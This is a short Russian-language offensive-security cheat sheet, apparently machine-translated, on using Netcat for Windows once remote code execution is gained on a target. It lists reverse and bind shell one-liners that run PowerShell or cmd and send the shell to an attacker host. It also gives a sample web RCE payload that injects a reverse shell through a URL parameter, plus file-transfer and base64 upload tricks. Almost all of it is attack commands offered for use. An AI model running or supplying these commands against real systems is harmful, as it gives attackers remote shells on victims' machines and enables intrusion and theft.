Эта проблема
Мы хорошо знаем ситуацию, у нас есть удаленное выполнение кода и мы можем загружать и / или записывать файлы через темпераментное соединение, но нам нужно что-то более надежное, что-то вроде netcat, которое всегда чертовски удобно при pwing-системах Unix.
Решение - Netcat для Windows
Получите 32-битную версию здесь:
И 64-битная версия здесь:
Загрузка файлов
Хороший совет, который часто бывает полезен, - это кодировать файл base64, а затем просто скопировать blob-объект base64 в файл через vuln или RCE и либо сначала декодировать, либо после, в зависимости от вашей ситуации RCE. Если вы попытаетесь скопировать файл как есть, во многих ситуациях проблемное содержимое, такое как операторы языка или нулевые байты и т. Д., Нарушит соединение, приложение или, что еще хуже, приведет к сбою целевого хоста.
Обратный Powershell
#32bit nc.exe $ATTACKER_HOST $ATTACKER_PORT -e powershell #64bit nc64.exe $ATTACKER_HOST $ATTACKER_PORT -e powershell
Пример RCE в веб-приложении:
http://vulnerable.com?pageId=nc64.exe 10.10.10.10 1337 -e powershell
Конечно, в дикой природе мы бы закодировали URL-адрес:
http://vulnerable.com?pageId=nc64.exe%2010.10.10.10%201337%20-e%20powershell
Привязать Powershell
#32bit nc.exe -l -p $LISTENPORT -e powershell #64bit nc64.exe -l -p $LISTENPORT -e powershell
Обратная оболочка
#32bit nc.exe $ATTACKER_HOST $ATTACKER_PORT -e cmd #64bit nc64.exe $ATTACKER_HOST $ATTACKER_PORT -e cmd
Привязать оболочку
#32bit nc.exe -l -p $LISTENPORT -e cmd #64bit nc64.exe -l -p $LISTENPORT -e cmd
Перенести файл
Отправитель (Unix)
nc $TARGET $PORT < $FILE
Приемник (Windows)
#32bit nc.exe -l -p $LISTENPORT > $FILE #64bit nc64.exe -l -p $LISTENPORT > $FILE